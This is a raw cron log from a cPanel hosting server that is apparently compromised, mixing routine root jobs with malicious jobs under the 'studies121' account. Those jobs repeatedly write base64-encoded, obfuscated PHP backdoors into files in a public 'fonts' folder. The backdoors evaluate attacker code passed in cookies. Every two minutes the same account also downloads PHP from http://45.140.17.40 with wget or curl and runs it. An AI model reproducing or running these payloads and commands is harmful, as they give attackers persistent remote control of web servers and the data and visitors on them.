Sep  1 14:03:01 ip-184-168-122-23 CROND[4581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:03:01 ip-184-168-122-23 CROND[4583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:04:01 ip-184-168-122-23 CROND[4669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:04:01 ip-184-168-122-23 CROND[4670]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:04:01 ip-184-168-122-23 CROND[4672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:04:01 ip-184-168-122-23 CROND[4674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:04:01 ip-184-168-122-23 CROND[4675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:05:01 ip-184-168-122-23 CROND[4760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:05:01 ip-184-168-122-23 CROND[4763]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 14:05:01 ip-184-168-122-23 CROND[4764]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:05:01 ip-184-168-122-23 CROND[4766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:05:01 ip-184-168-122-23 CROND[4768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:05:01 ip-184-168-122-23 CROND[4762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:05:01 ip-184-168-122-23 CROND[4772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:06:01 ip-184-168-122-23 CROND[4945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:06:01 ip-184-168-122-23 CROND[4946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:06:01 ip-184-168-122-23 CROND[4949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:06:01 ip-184-168-122-23 CROND[4950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:06:01 ip-184-168-122-23 CROND[4951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:07:01 ip-184-168-122-23 CROND[5073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:07:01 ip-184-168-122-23 CROND[5074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:07:01 ip-184-168-122-23 CROND[5075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:07:01 ip-184-168-122-23 CROND[5078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:08:01 ip-184-168-122-23 CROND[5179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:08:01 ip-184-168-122-23 CROND[5181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:08:01 ip-184-168-122-23 CROND[5183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:08:01 ip-184-168-122-23 CROND[5186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:08:01 ip-184-168-122-23 CROND[5182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:09:01 ip-184-168-122-23 CROND[5273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:09:01 ip-184-168-122-23 CROND[5274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:09:01 ip-184-168-122-23 CROND[5277]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 14:09:01 ip-184-168-122-23 CROND[5275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:09:01 ip-184-168-122-23 CROND[5278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:10:01 ip-184-168-122-23 CROND[5366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:10:01 ip-184-168-122-23 CROND[5368]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:10:01 ip-184-168-122-23 CROND[5371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:10:01 ip-184-168-122-23 CROND[5372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:10:01 ip-184-168-122-23 CROND[5374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:10:01 ip-184-168-122-23 CROND[5369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:10:01 ip-184-168-122-23 CROND[5375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:10:01 ip-184-168-122-23 CROND[5373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:11:01 ip-184-168-122-23 CROND[5482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:11:01 ip-184-168-122-23 CROND[5483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:11:01 ip-184-168-122-23 CROND[5484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:11:01 ip-184-168-122-23 CROND[5485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:12:01 ip-184-168-122-23 CROND[5657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:12:01 ip-184-168-122-23 CROND[5658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:12:01 ip-184-168-122-23 CROND[5660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:12:01 ip-184-168-122-23 CROND[5659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:12:01 ip-184-168-122-23 CROND[5661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:13:01 ip-184-168-122-23 CROND[5744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:13:01 ip-184-168-122-23 CROND[5747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:13:01 ip-184-168-122-23 CROND[5749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:13:01 ip-184-168-122-23 CROND[5751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:14:01 ip-184-168-122-23 CROND[5832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:14:01 ip-184-168-122-23 CROND[5834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:14:01 ip-184-168-122-23 CROND[5836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:14:01 ip-184-168-122-23 CROND[5837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:14:01 ip-184-168-122-23 CROND[5838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:15:01 ip-184-168-122-23 CROND[5927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
